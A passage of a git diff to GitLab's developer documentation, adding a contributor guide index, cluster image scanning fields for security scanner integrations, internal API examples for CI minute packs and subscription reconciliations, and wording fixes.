end
```
diff --git a/doc/development/i18n/merging_translations.md b/doc/development/i18n/merging_translations.md
index e3211f5a8fc..f89190fc316 100644
--- a/doc/development/i18n/merging_translations.md
+++ b/doc/development/i18n/merging_translations.md
@@ -21,7 +21,7 @@ message. This avoids an excessive number of pipelines from running.
Before merging translations, make sure to trigger a pipeline to validate
translations. Static analysis validates things CrowdIn doesn't do. Create
a new pipeline at [`https://gitlab.com/gitlab-org/gitlab/pipelines/new`](https://gitlab.com/gitlab-org/gitlab/pipelines/new)
-(need developer permissions) for the `master-i18n` branch.
+(requires the Developer role) for the `master-i18n` branch.
If there are validation errors, the easiest solution is to disapprove
the offending string in CrowdIn, leaving a comment with what is
diff --git a/doc/development/i18n/proofreader.md b/doc/development/i18n/proofreader.md
index fc19ab93ecd..6e3b32e18df 100644
--- a/doc/development/i18n/proofreader.md
+++ b/doc/development/i18n/proofreader.md
@@ -93,6 +93,7 @@ are very appreciative of the work done by translators and proofreaders!
- Portuguese, Brazilian
- Paulo George Gomes Bezerra - [GitLab](https://gitlab.com/paulobezerra), [CrowdIn](https://crowdin.com/profile/paulogomes.rep)
- André Gama - [GitLab](https://gitlab.com/andregamma), [CrowdIn](https://crowdin.com/profile/ToeOficial)
+ - Eduardo Addad de Oliveira - [GitLab](https://gitlab.com/eduardoaddad), [CrowdIn](https://crowdin.com/profile/eduardoaddad)
- Romanian
- Proofreaders needed.
- Russian
diff --git a/doc/development/img/stage_group_dashboards_error_attribution.png b/doc/development/img/stage_group_dashboards_error_attribution.png
new file mode 100644
index 00000000000..bac778b7450
--- /dev/null
+++ b/doc/development/img/stage_group_dashboards_error_attribution.png
Binary files differ
diff --git a/doc/development/img/stage_group_dashboards_service_sli_detail.png b/doc/development/img/stage_group_dashboards_service_sli_detail.png
new file mode 100644
index 00000000000..5372b10074a
--- /dev/null
+++ b/doc/development/img/stage_group_dashboards_service_sli_detail.png
Binary files differ
diff --git a/doc/development/index.md b/doc/development/index.md
new file mode 100644
index 00000000000..711fc009d23
--- /dev/null
+++ b/doc/development/index.md
@@ -0,0 +1,340 @@
+---
+comments: false
+type: index, dev
+stage: none
+group: Development
+info: "See the Technical Writers assigned to Development Guidelines: https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments-to-development-guidelines"
+description: "Development Guidelines: learn how to contribute to GitLab."
+---
+
+# Contributor and Development Docs
+
+Learn the processes and technical information needed for contributing to GitLab.
+
+This content is intended for members of the GitLab Team as well as community
+contributors. Content specific to the GitLab Team should instead be included in
+the [Handbook](https://about.gitlab.com/handbook/).
+
+For information on using GitLab to work on your own software projects, see the
+[GitLab user documentation](../user/index.md).
+
+For information on working with the GitLab APIs, see the [API documentation](../api/README.md).
+
+For information about how to install, configure, update, and upgrade your own
+GitLab instance, see the [administration documentation](../administration/index.md).
+
+## Get started
+
+- Set up the GitLab development environment with the
+ [GitLab Development Kit (GDK)](https://gitlab.com/gitlab-org/gitlab-development-kit/-/blob/main/README.md)
+- [GitLab contributing guide](contributing/index.md)
+ - [Issues workflow](contributing/issue_workflow.md) for more information about:
+ - Issue tracker guidelines.
+ - Triaging.
+ - Labels.
+ - Feature proposals.
+ - Issue weight.
+ - Regression issues.
+ - Technical or UX debt.
+ - [Merge requests workflow](contributing/merge_request_workflow.md) for more
+ information about:
+ - Merge request guidelines.
+ - Contribution acceptance criteria.
+ - Definition of done.
+ - Dependencies.
+ - [Style guides](contributing/style_guides.md)
+ - [Implement design & UI elements](contributing/design.md)
+- [GitLab Architecture Overview](architecture.md)
+- [Rake tasks](rake_tasks.md) for development
+
+## Processes
+
+**Must-reads:**
+
+- [Guide on adapting existing and introducing new components](architecture.md#adapting-existing-and-introducing-new-components)
+- [Code review guidelines](code_review.md) for reviewing code and having code
+ reviewed
+- [Database review guidelines](database_review.md) for reviewing
+ database-related changes and complex SQL queries, and having them reviewed
+- [Secure coding guidelines](secure_coding_guidelines.md)
+- [Pipelines for the GitLab project](pipelines.md)
+
+Complementary reads:
+
+- [GitLab core team & GitLab Inc. contribution process](https://gitlab.com/gitlab-org/gitlab/-/blob/master/PROCESS.md)
+- [Security process for developers](https://gitlab.com/gitlab-org/release/docs/blob/master/general/security/developer.md#security-releases-critical-non-critical-as-a-developer)
+- [Guidelines for implementing Enterprise Edition features](ee_features.md)
+- [Danger bot](dangerbot.md)
+- [Guidelines for changelogs](changelog.md)
+- [Requesting access to ChatOps on GitLab.com](chatops_on_gitlabcom.md#requesting-access) (for GitLab team members)
+- [Patch release process for developers](https://gitlab.com/gitlab-org/release/docs/blob/master/general/patch/process.md#process-for-developers)
+- [Adding a new service component to GitLab](adding_service_component.md)
+
+### Development guidelines review
+
+When you submit a change to the GitLab development guidelines, who
+you ask for reviews depends on the level of change.
+
+#### Wording, style, or link changes
+
+Not all changes require extensive review. For example, MRs that don't change the
+content's meaning or function can be reviewed, approved, and merged by any
+maintainer or Technical Writer. These can include:
+
+- Typo fixes.
+- Clarifying links, such as to external programming language documentation.
+- Changes to comply with the [Documentation Style Guide](documentation/index.md)
+ that don't change the intent of the documentation page.
+
+#### Specific changes
+
+If the MR proposes changes that are limited to a particular stage, group, or team,
+request a review and approval from an experienced GitLab Team Member in that
+group. For example, if you're documenting a new internal API used exclusively by
+a given group, request an engineering review from one of the group's members.
+
+After the engineering review is complete, assign the MR to the
+[Technical Writer associated with the stage and group](https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments)
+in the modified documentation page's metadata.
+
+If you have questions or need further input, request a review from the
+Technical Writer assigned to the [Development Guidelines](https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments-to-development-guidelines).
+
+#### Broader changes
+
+Some changes affect more than one group. For example:
+
+- Changes to [code review guidelines](code_review.md).
+- Changes to [commit message guidelines](contributing/merge_request_workflow.md#commit-messages-guidelines).
+- Changes to guidelines in [feature flags in development of GitLab](feature_flags/).
+- Changes to [feature flags documentation guidelines](documentation/feature_flags.md).
+
+In these cases, use the following workflow:
+
+1. Request a peer review from a member of your team.
+1. Request a review and approval of an Engineering Manager (EM)
+ or Staff Engineer who's responsible for the area in question:
+
+ - [Frontend](https://about.gitlab.com/handbook/engineering/frontend/)
+ - [Backend](https://about.gitlab.com/handbook/engineering/)
+ - [Database](https://about.gitlab.com/handbook/engineering/development/database/)
+ - [User Experience (UX)](https://about.gitlab.com/handbook/engineering/ux/)
+ - [Security](https://about.gitlab.com/handbook/engineering/security/)
+ - [Quality](https://about.gitlab.com/handbook/engineering/quality/)
+ - [Engineering Productivity](https://about.gitlab.com/handbook/engineering/quality/engineering-productivity-team/)
+ - [Infrastructure](https://about.gitlab.com/handbook/engineering/infrastructure/)
+ - [Technical Writing](https://about.gitlab.com/handbook/engineering/ux/technical-writing/)
+
+ You can skip this step for MRs authored by EMs or Staff Engineers responsible
+ for their area.
+
+ If there are several affected groups, you may need approvals at the
+ EM/Staff Engineer level from each affected area.
+
+1. After completing the reviews, consult with the EM/Staff Engineer
+ author / approver of the MR.
+
+ If this is a significant change across multiple areas, request final review
+ and approval from the VP of Development, the DRI for Development Guidelines,
+ @clefelhocz1.
+
+1. After all approvals are complete, assign the merge request to the
+ Technical Writer for [Development Guidelines](https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments-to-development-guidelines)
+ for final content review and merge. The Technical Writer may ask for
+ additional approvals as previously suggested before merging the MR.
+
+### Reviewer values
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/57293) in GitLab 14.1.
+
+As a reviewer or as a reviewee, make sure to familiarize yourself with
+the [reviewer values](https://about.gitlab.com/handbook/engineering/workflow/reviewer-values/) we strive for at GitLab.
+
+## UX and Frontend guides
+
+- [GitLab Design System](https://design.gitlab.com/), for building GitLab with
+ existing CSS styles and elements
+- [Frontend guidelines](fe_guide/index.md)
+- [Emoji guide](fe_guide/emojis.md)
+
+## Backend guides
+
+### General
+
+- [Directory structure](directory_structure.md)
+- [GitLab utilities](utilities.md)
+- [Newlines style guide](newlines_styleguide.md)
+- [Logging](logging.md)
+- [Dealing with email/mailers](emails.md)
+- [Kubernetes integration guidelines](kubernetes.md)
+- [Permissions](permissions.md)
+- [Code comments](code_comments.md)
+- [Windows Development on GCP](windows.md)
+- [FIPS compliance](fips_compliance.md)
+- [`Gemfile` guidelines](gemfile.md)
+
+### Things to be aware of
+
+- [Gotchas](gotchas.md) to avoid
+- [Avoid modules with instance variables](module_with_instance_variables.md), if
+ possible
+- [Guidelines for reusing abstractions](reusing_abstractions.md)
+
+### Rails Framework related
+
+- [Routing](routing.md)
+- [Rails initializers](rails_initializers.md)
+- [Mass Inserting Models](mass_insert.md)
+- [Issuable-like Rails models](issuable-like-models.md)
+- [Issue types vs first-class types](issue_types.md)
+- [DeclarativePolicy framework](policies.md)
+
+### Debugging
+
+- [Pry debugging](pry_debugging.md)
+- [Sidekiq debugging](../administration/troubleshooting/sidekiq.md)
+
+### Git specifics
+
+- [How Git object deduplication works in GitLab](git_object_deduplication.md)
+- [Git LFS](lfs.md)
+
+### API
+
+- [API style guide](api_styleguide.md) for contributing to the API
+- [GraphQL API style guide](api_graphql_styleguide.md) for contributing to the
+ [GraphQL API](../api/graphql/index.md)
+
+### GitLab components and features
+
+- [Developing against interacting components or features](interacting_components.md)
+- [Manage feature flags](feature_flags/index.md)
+- [Licensed feature availability](licensed_feature_availability.md)
+- [Accessing session data](session.md)
+- [How to dump production data to staging](db_dump.md)
+- [Geo development](geo.md)
+- [Redis guidelines](redis.md)
+- [Sidekiq guidelines](sidekiq_style_guide.md) for working with Sidekiq workers
+- [Working with Gitaly](gitaly.md)
+- [Elasticsearch integration docs](elasticsearch.md)
+- [Working with Merge Request diffs](diffs.md)
+- [Approval Rules](approval_rules.md)
+- [Repository mirroring](repository_mirroring.md)
+- [File uploads](uploads.md)
+- [Auto DevOps development guide](auto_devops.md)
+- [Renaming features](renaming_features.md)
+- [Code Intelligence](code_intelligence/index.md)
+- [Feature categorization](feature_categorization/index.md)
+- [Wikis development guide](wikis.md)
+- [Image scaling guide](image_scaling.md)
+- [Cascading Settings](cascading_settings.md)
+- [Shell commands](shell_commands.md) in the GitLab codebase
+- [Value Stream Analytics development guide](value_stream_analytics.md)
+- [Application limits](application_limits.md)
+
+### Import/Export
+
+- [Working with the GitHub importer](github_importer.md)
+- [Import/Export development documentation](import_export.md)
+- [Test Import Project](import_project.md)
+- [Group migration](bulk_import.md)
+- [Export to CSV](export_csv.md)
+
+## Language-specific guides
+
+### Go guides
+
+- [Go Guidelines](go_guide/index.md)
+
+### Shell Scripting guides
+
+- [Shell scripting standards and style guidelines](shell_scripting_guide/index.md)
+
+## Performance guides
+
+- [Instrumentation](instrumentation.md) for Ruby code running in production
+ environments.
+- [Performance guidelines](performance.md) for writing code, benchmarks, and
+ certain patterns to avoid.
+- [Merge request performance guidelines](merge_request_performance_guidelines.md)
+ for ensuring merge requests do not negatively impact GitLab performance
+- [Profiling](profiling.md) a URL, measuring performance using Sherlock, or
+ tracking down N+1 queries using Bullet.
+- [Cached queries guidelines](cached_queries.md), for tracking down N+1 queries
+ masked by query caching, memory profiling and why should we avoid cached
+ queries.
+
+## Database guides
+
+See [database guidelines](database/index.md).
+
+## Integration guides
+
+- [Jira Connect app](integrations/jira_connect.md)
+- [Security Scanners](integrations/secure.md)
+- [Secure Partner Integration](integrations/secure_partner_integration.md)
+- [How to run Jenkins in development environment](integrations/jenkins.md)
+- [How to run local `Codesandbox` integration for Web IDE Live Preview](integrations/codesandbox.md)
+
+## Testing guides
+
+- [Testing standards and style guidelines](testing_guide/index.md)
+- [Frontend testing standards and style guidelines](testing_guide/frontend_testing.md)
+
+## Refactoring guides
+
+- [Refactoring guidelines](refactoring_guide/index.md)
+
+## Deprecation guides
+
+- [Deprecation guidelines](deprecation_guidelines/index.md)
+
+## Documentation guides
+
+- [Writing documentation](documentation/index.md)
+- [Documentation style guide](documentation/styleguide/index.md)
+- [Markdown](../user/markdown.md)
+
+## Internationalization (i18n) guides
+
+- [Introduction](i18n/index.md)
+- [Externalization](i18n/externalization.md)
+- [Translation](i18n/translation.md)
+
+## Product Intelligence guides
+
+- [Product Intelligence guide](https://about.gitlab.com/handbook/product/product-intelligence-guide/)
+- [Service Ping guide](service_ping/index.md)
+- [Snowplow guide](snowplow/index.md)
+
+## Experiment guide
+
+- [Introduction](experiment_guide/index.md)
+
+## Build guides
+
+- [Building a package for testing purposes](build_test_package.md)
+
+## Compliance
+
+- [Licensing](licensing.md) for ensuring license compliance
+
+## Domain-specific guides
+
+- [CI/CD development documentation](cicd/index.md)
+- [AppSec development documentation](appsec/index.md)
+
+## Other Development guides
+
+- [Defining relations between files using projections](projections.md)
+- [Reference processing](reference_processing.md)
+- [Compatibility with multiple versions of the application running at the same time](multi_version_compatibility.md)
+- [Features inside `.gitlab/`](features_inside_dot_gitlab.md)
+- [Dashboards for stage groups](stage_group_dashboards.md)
+- [Preventing transient bugs](transient/prevention-patterns.md)
+
+## Other GitLab Development Kit (GDK) guides
+
+- [Run full Auto DevOps cycle in a GDK instance](https://gitlab.com/gitlab-org/gitlab-development-kit/blob/main/doc/howto/auto_devops.md)
+- [Using GitLab Runner with the GDK](https://gitlab.com/gitlab-org/gitlab-development-kit/blob/main/doc/howto/runner.md)
+- [Using the Web IDE terminal with the GDK](https://gitlab.com/gitlab-org/gitlab-development-kit/-/blob/main/doc/howto/web_ide_terminal_gdk_setup.md)
diff --git a/doc/development/integrations/secure.md b/doc/development/integrations/secure.md
index c4d8dfd3b95..07f7ac6a2ac 100644
--- a/doc/development/integrations/secure.md
+++ b/doc/development/integrations/secure.md
@@ -7,7 +7,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
# Security scanner integration
Integrating a security scanner into GitLab consists of providing end users
-with a [CI job definition](../../ci/yaml/README.md)
+with a [CI job definition](../../ci/yaml/index.md)
they can add to their CI configuration files to scan their GitLab projects.
This CI job should then output its results in a GitLab-specified format. These results are then
automatically presented in various places in GitLab, such as the Pipeline view, Merge Request
@@ -23,53 +23,67 @@ scanner, as well as requirements and guidelines for the Docker image.
This section describes several important fields to add to the security scanner's job
definition file. Full documentation on these and other available fields can be viewed
-in the [CI documentation](../../ci/yaml/README.md#image).
+in the [CI documentation](../../ci/yaml/index.md#image).
### Name
For consistency, scanning jobs should be named after the scanner, in lower case.
The job name is suffixed after the type of scanning:
-`_dependency_scanning`, `_container_scanning`, `_dast`, and `_sast`.
+
+- `_dependency_scanning`
+- `_cluster_image_scanning`
+- `_container_scanning`
+- `_dast`
+- `_sast`
+
For instance, the dependency scanning job based on the "MySec" scanner would be named `mysec_dependency_scanning`.
### Image
-The [`image`](../../ci/yaml/README.md#image) keyword is used to specify
+The [`image`](../../ci/yaml/index.md#image) keyword is used to specify
the [Docker image](../../ci/docker/using_docker_images.md#what-is-an-image)
containing the security scanner.
### Script
-The [`script`](../../ci/yaml/README.md#script) keyword
+The [`script`](../../ci/yaml/index.md#script) keyword
is used to specify the commands to run the scanner.
Because the `script` entry can't be left empty, it must be set to the command that performs the scan.
It is not possible to rely on the predefined `ENTRYPOINT` and `CMD` of the Docker image
to perform the scan automatically, without passing any command.
-The [`before_script`](../../ci/yaml/README.md#before_script)
+The [`before_script`](../../ci/yaml/index.md#before_script)
should not be used in the job definition because users may rely on this to prepare their projects before performing the scan.
For instance, it is common practice to use `before_script` to install system libraries
a particular project needs before performing SAST or Dependency Scanning.
-Similarly, [`after_script`](../../ci/yaml/README.md#after_script)
+Similarly, [`after_script`](../../ci/yaml/index.md#after_script)
should not be used in the job definition, because it may be overridden by users.
### Stage
For consistency, scanning jobs should belong to the `test` stage when possible.
-The [`stage`](../../ci/yaml/README.md#stage) keyword can be omitted because `test` is the default value.
+The [`stage`](../../ci/yaml/index.md#stage) keyword can be omitted because `test` is the default value.
### Fail-safe
To be aligned with the [GitLab Security paradigm](https://about.gitlab.com/direction/secure/#security-paradigm),
scanning jobs should not block the pipeline when they fail,
-so the [`allow_failure`](../../ci/yaml/README.md#allow_failure) parameter should be set to `true`.
+so the [`allow_failure`](../../ci/yaml/index.md#allow_failure) parameter should be set to `true`.
### Artifacts
Scanning jobs must declare a report that corresponds to the type of scanning they perform,
-using the [`artifacts:reports`](../../ci/yaml/README.md#artifactsreports) keyword.
-Valid reports are: `dependency_scanning`, `container_scanning`, `dast`, `api_fuzzing`, `coverage_fuzzing`, and `sast`.
+using the [`artifacts:reports`](../../ci/yaml/index.md#artifactsreports) keyword.
+Valid reports are:
+
+- `dependency_scanning`
+- `container_scanning`
+- `cluster_image_scanning`
+- `dast`
+- `api_fuzzing`
+- `coverage_fuzzing`
+- `sast`
For example, here is the definition of a SAST job that generates a file named `gl-sast-report.json`,
and uploads it as a SAST report:
@@ -90,9 +104,15 @@ it's declared under the `reports:sast` key in the job definition, not because of
Certain GitLab workflows, such as [AutoDevOps](../../topics/autodevops/customize.md#disable-jobs),
define CI/CD variables to indicate that given scans should be disabled. You can check for this by looking
-for variables such as `DEPENDENCY_SCANNING_DISABLED`, `CONTAINER_SCANNING_DISABLED`,
-`SAST_DISABLED`, and `DAST_DISABLED`. If appropriate based on the scanner type, you should then
-disable running the custom scanner.
+for variables such as:
+
+- `DEPENDENCY_SCANNING_DISABLED`
+- `CONTAINER_SCANNING_DISABLED`
+- `CLUSTER_IMAGE_SCANNING_DISABLED`
+- `SAST_DISABLED`
+- `DAST_DISABLED`
+
+If appropriate based on the scanner type, you should then disable running the custom scanner.
GitLab also defines a `CI_PROJECT_REPOSITORY_LANGUAGES` variable, which provides the list of
languages in the repository. Depending on this value, your scanner may or may not do something different.
@@ -171,7 +191,7 @@ It also generates text output on the standard output and standard error streams,
### Variables
All CI/CD variables are passed to the scanner as environment variables.
-The scanned project is described by the [predefined CI/CD variables](../../ci/variables/README.md).
+The scanned project is described by the [predefined CI/CD variables](../../ci/variables/index.md).
#### SAST and Dependency Scanning
@@ -194,6 +214,19 @@ using the variables `DOCKER_USER` and `DOCKER_PASSWORD`.
If these are not defined, then the scanner should use
`CI_REGISTRY_USER` and `CI_REGISTRY_PASSWORD` as default values.
+#### Cluster Image Scanning
+
+To be consistent with the official `cluster_image_scanning` for GitLab, scanners must scan the
+Kubernetes cluster whose configuration is given by `KUBECONFIG`.
+
+If you use the `CIS_KUBECONFIG` CI/CD variable, then the
+`KUBECONFIG` variable is ignored and the cluster specified in the
+`CIS_KUBECONFIG` variable is scanned instead. If you don't provide
+the `CIS_KUBECONFIG` CI/CD variable, the value defaults to the value of
+`$KUBECONFIG`. `$KUBECONFIG` is a predefined CI/CD variable configured when the project is assigned to a
+Kubernetes cluster. When multiple contexts are provided in the `KUBECONFIG` variable, the context
+selected as `current-context` will be used to fetch vulnerabilities.
+
#### Configuration files
While scanners may use `CI_PROJECT_DIR` to load specific configuration files,
@@ -209,7 +242,7 @@ It is recommended to name the output file after the type of scanning, and to use
Since all Secure reports are JSON files, it is recommended to use `.json` as a file extension.
For instance, a suggested filename for a Dependency Scanning report is `gl-dependency-scanning.json`.
-The [`artifacts:reports`](../../ci/yaml/README.md#artifactsreports) keyword
+The [`artifacts:reports`](../../ci/yaml/index.md#artifactsreports) keyword
of the job definition must be consistent with the file path where the Security report is written.
For instance, if a Dependency Scanning analyzer writes its report to the CI project directory,
and if this report filename is `depscan.json`,
@@ -282,7 +315,8 @@ The format is extensively described in the documentation of
[SAST](../../user/application_security/sast/index.md#reports-json-format),
[DAST](../../user/application_security/dast/#reports),
[Dependency Scanning](../../user/application_security/dependency_scanning/index.md#reports-json-format),
-and [Container Scanning](../../user/application_security/container_scanning/index.md#reports-json-format).
+[Container Scanning](../../user/application_security/container_scanning/index.md#reports-json-format),
+and [Cluster Image Scanning](../../user/application_security/cluster_image_scanning/index.md#reports-json-format).
You can find the schemas for these scanners here:
@@ -310,7 +344,12 @@ We recommend that you generate a UUID and use it as the `id` field's value.
#### Category
The value of the `category` field matches the report type:
-`dependency_scanning`, `container_scanning`, `sast`, and `dast`.
+
+- `dependency_scanning`
+- `cluster_image_scanning`
+- `container_scanning`
+- `sast`
+- `dast`
#### Scanner
@@ -415,6 +454,10 @@ which is used to track vulnerabilities
as new commits are pushed to the repository.
The attributes used to generate the location fingerprint also depend on the type of scanning.
+### Details
+
+The `details` field is an object that supports many different content elements that are displayed when viewing vulnerability information. An example of the various data elements can be seen in the [security-reports repository](https://gitlab.com/gitlab-examples/security/security-reports/-/tree/master/samples/details-example).
+
#### Dependency Scanning
The `location` of a Dependency Scanning vulnerability is composed of a `dependency` and a `file`.
@@ -476,6 +519,31 @@ so these attributes are mandatory.
The `image` is also mandatory.
All other attributes are optional.
+#### Cluster Image Scanning
+
+The `location` of a `cluster_image_scanning` vulnerability has a `dependency` field. It also has
+an `operating_system` field. For example, here is the `location` object for a vulnerability
+affecting version `2.50.3-2+deb9u1` of Debian package `glib2.0`:
+
+```json
+{
+ "dependency": {
+ "package": {
+ "name": "glib2.0"
+ },
+ },
+ "version": "2.50.3-2+deb9u1",
+ "operating_system": "debian:9",
+ "image": "index.docker.io/library/nginx:1.18"
+}
+```
+
+The affected package is found when scanning the image of the pod `index.docker.io/library/nginx:1.18`.
+
+The location fingerprint of a Cluster Image Scanning vulnerability combines the
+`operating_system` and the package `name`, so these attributes are mandatory. The `image` is also
+mandatory. All other attributes are optional.
+
#### SAST
The `location` of a SAST vulnerability must have a `file` and a `start_line` field,
diff --git a/doc/development/integrations/secure_partner_integration.md b/doc/development/integrations/secure_partner_integration.md
index e6048bed152..34e0aaedfaf 100644
--- a/doc/development/integrations/secure_partner_integration.md
+++ b/doc/development/integrations/secure_partner_integration.md
@@ -83,13 +83,14 @@ and complete an integration with the Secure stage.
1. Ensure your pipeline jobs create a report artifact that GitLab can process
to successfully display your own product's results with the rest of GitLab.
- See detailed [technical directions](secure.md) for this step.
- - Read more about [job report artifacts](../../ci/yaml/README.md#artifactsreports).
+ - Read more about [job report artifacts](../../ci/yaml/index.md#artifactsreports).
- Read about [job artifacts](../../ci/pipelines/job_artifacts.md).
- Your report artifact must be in one of our currently supported formats.
For more information, see the [documentation on reports](secure.md#report).
- Documentation for [SAST reports](../../user/application_security/sast/index.md#reports-json-format).
- Documentation for [Dependency Scanning reports](../../user/application_security/dependency_scanning/index.md#reports-json-format).
- Documentation for [Container Scanning reports](../../user/application_security/container_scanning/index.md#reports-json-format).
+ - Documentation for [`cluster_image_scanning` reports](../../user/application_security/cluster_image_scanning/index.md#reports-json-format).
- See this [example secure job definition that also defines the artifact created](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Security/Container-Scanning.gitlab-ci.yml).
- If you need a new kind of scan or report, [create an issue](https://gitlab.com/gitlab-org/gitlab/-/issues/new#)
and add the label `devops::secure`.
diff --git a/doc/development/internal_api.md b/doc/development/internal_api.md
index 95139f731e1..4614db96263 100644
--- a/doc/development/internal_api.md
+++ b/doc/development/internal_api.md
@@ -445,7 +445,7 @@ agent to be authorized is [not yet implemented](https://gitlab.com/gitlab-org/gi
| Attribute | Type | Required | Description |
|:----------|:-------|:---------|:------------|
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](../api/README.md#namespaced-path-encoding) |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](../api/index.md#namespaced-path-encoding) |
```plaintext
GET /internal/kubernetes/project_info
@@ -529,7 +529,7 @@ POST /namespaces/:id/gitlab_subscription
Example request:
```shell
-curl --request POST --header "TOKEN: <admin_access_token>" "https://gitlab.com/api/v4/namespaces/1234/gitlab_subscription?start_date="2020-07-15"&plan="silver"&seats=10"
+curl --request POST --header "TOKEN: <admin_access_token>" "https://gitlab.com/api/v4/namespaces/1234/gitlab_subscription?start_date="2020-07-15"&plan="premium"&seats=10"
```
Example response:
@@ -537,8 +537,8 @@ Example response:
```json
{
"plan": {
- "code":"silver",
- "name":"Silver",
+ "code":"premium",
+ "name":"premium",
"trial":false,
"auto_renew":null,
"upgradable":false
@@ -588,8 +588,8 @@ Example response:
```json
{
"plan": {
- "code":"silver",
- "name":"Silver",
+ "code":"premium",
+ "name":"premium",
"trial":false,
"auto_renew":null,
"upgradable":false
@@ -627,8 +627,8 @@ Example response:
```json
{
"plan": {
- "code":"silver",
- "name":"Silver",
+ "code":"premium",
+ "name":"premium",
"trial":false,
"auto_renew":null,
"upgradable":false
@@ -650,3 +650,122 @@ Example response:
### Known consumers
- CustomersDot
+
+## CI minute provisioning
+
+The CI Minute endpoints are used by [CustomersDot](https://gitlab.com/gitlab-org/customers-gitlab-com) (`customers.gitlab.com`)
+to apply additional packs of CI minutes, for personal namespaces or top-level groups within GitLab.com.
+
+### Creating an additional pack
+
+Use a POST to create an additional pack.
+
+```plaintext
+POST /namespaces/:id/minutes
+```
+
+| Attribute | Type | Required | Description |
+|:------------|:--------|:---------|:------------|
+| `expires_at` | date | yes | Expiry date of the purchased pack|
+| `number_of_minutes` | integer | yes | Number of additional minutes |
+| `purchase_xid` | string | yes | The unique ID of the purchase |
+
+Example request:
+
+```shell
+curl --request POST \
+ --url http://localhost:3000/api/v4/namespaces/123/minutes \
+ --header 'Content-Type: application/json' \
+ --header 'PRIVATE-TOKEN: <admin access token>' \
+ --data '{
+ "number_of_minutes": 10000,
+ "expires_at": "2022-01-01",
+ "purchase_xid": "46952fe69bebc1a4de10b2b4ff439d0c" }'
+```
+
+Example response:
+
+```json
+{
+ "namespace_id": 123,
+ "expires_at": "2022-01-01",
+ "number_of_minutes": 10000,
+ "purchase_xid": "46952fe69bebc1a4de10b2b4ff439d0c"
+}
+```
+
+### Moving additional packs
+
+Use a PATCH to move additional packs from one namespace to another.
+
+```plaintext
+PATCH /namespaces/:id/minutes/move/:target_id
+```
+
+| Attribute | Type | Required | Description |
+|:------------|:--------|:---------|:------------|
+| `id` | string | yes | The ID of the namespace to transfer packs from |
+| `target_id` | string | yes | The ID of the target namespace to transfer the packs to |
+
+Example request:
+
+```shell
+curl --request PATCH \
+ --url http://localhost:3000/api/v4/namespaces/123/minutes/move/321 \
+ --header 'PRIVATE-TOKEN: <admin access token>'
+```
+
+Example response:
+
+```json
+{
+ "message": "202 Accepted"
+}
+```
+
+### Known consumers
+
+- CustomersDot
+
+## Upcoming reconciliations
+
+The `upcoming_reconciliations` endpoint is used by [CustomersDot](https://gitlab.com/gitlab-org/customers-gitlab-com) (`customers.gitlab.com`)
+to update upcoming reconciliations for namespaces.
+
+### Updating `upcoming_reconciliations`
+
+Use a PUT command to update `upcoming_reconciliations`.
+
+```plaintext
+PUT /internal/upcoming_reconciliations
+```
+
+| Attribute | Type | Required | Description |
+|:-------------------|:-----------|:---------|:------------|
+| `upcoming_reconciliations` | array | yes | Array of upcoming reconciliations |
+
+Each array element contains:
+
+| Attribute | Type | Required | Description |
+|:-------------------|:-----------|:---------|:------------|
+| `namespace_id` | integer | yes | ID of the namespace to be reconciled |
+| `next_reconciliation_date` | date | yes | Date when next reconciliation will happen |
+| `display_alert_from` | date | yes | Start date to display alert of upcoming reconciliation |
+
+Example request:
+
+```shell
+curl --request PUT --header "PRIVATE-TOKEN: <admin_access_token>" --header "Content-Type: application/json" \
+ --data '{"upcoming_reconciliations": [{"namespace_id": 127, "next_reconciliation_date": "13 Jun 2021", "display_alert_from": "06 Jun 2021"}, {"namespace_id": 129, "next_reconciliation_date": "12 Jun 2021", "display_alert_from": "05 Jun 2021"}]}' \
+ "https://gitlab.com/api/v4/internal/upcoming_reconciliations"
+```
+
+Example response:
+
+```plaintext
+200
+```
+
+### Known consumers
+
+- CustomersDot
diff --git a/doc/development/iterating_tables_in_batches.md b/doc/development/iterating_tables_in_batches.md
index bae55bccf7c..3f2b467fec9 100644
--- a/doc/development/iterating_tables_in_batches.md
+++ b/doc/development/iterating_tables_in_batches.md
@@ -4,7 +4,7 @@ group: Database
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Iterating Tables In Batches
+# Iterating tables in batches
Rails provides a method called `in_batches` that can be used to iterate over
rows in batches. For example:
@@ -15,7 +15,7 @@ User.in_batches(of: 10) do |relation|
end
```
-Unfortunately this method is implemented in a way that is not very efficient,
+Unfortunately, this method is implemented in a way that is not very efficient,
both query and memory usage wise.
To work around this you can include the `EachBatch` module into your models,
@@ -44,17 +44,18 @@ all of the arguments that `in_batches` supports. You should always use
## Avoid iterating over non-unique columns
-One should proceed with extra caution, and possibly avoid iterating over a column that can contain duplicate values.
-When you iterate over an attribute that is not unique, even with the applied max batch size, there is no guarantee that the resulting batches will not surpass it.
-The following snippet demonstrates this situation, when one attempt to select `Ci::Build` entries for users with `id` between `1` and `10,s000`, database returns `1 215 178`
-matching rows
+One should proceed with extra caution, and possibly avoid iterating over a column that can contain
+duplicate values. When you iterate over an attribute that is not unique, even with the applied max
+batch size, there is no guarantee that the resulting batches will not surpass it. The following
+snippet demonstrates this situation when one attempt to select `Ci::Build` entries for users with
+`id` between `1` and `10,000`, the database returns `1 215 178` matching rows.
```ruby
[ gstg ] production> Ci::Build.where(user_id: (1..10_000)).size
=> 1215178
```
-This happens because built relation is translated into following query
+This happens because built relation is translated into the following query
```ruby
[ gstg ] production> puts Ci::Build.where(user_id: (1..10_000)).to_sql
@@ -62,12 +63,16 @@ SELECT "ci_builds".* FROM "ci_builds" WHERE "ci_builds"."type" = 'Ci::Build' AND
=> nil
```
-And queries which filters non-unique column by range `WHERE "ci_builds"."user_id" BETWEEN ? AND ?`, even though the range size is limited to certain threshold (`10,000` in previous example) this threshold does not translates to the size of returned dataset. That happens because when taking `n` possible values of attributes,
-one can't tell for sure that the number of records that contains them will be less than `n`.
+`And` queries which filter non-unique column by range `WHERE "ci_builds"."user_id" BETWEEN ? AND ?`,
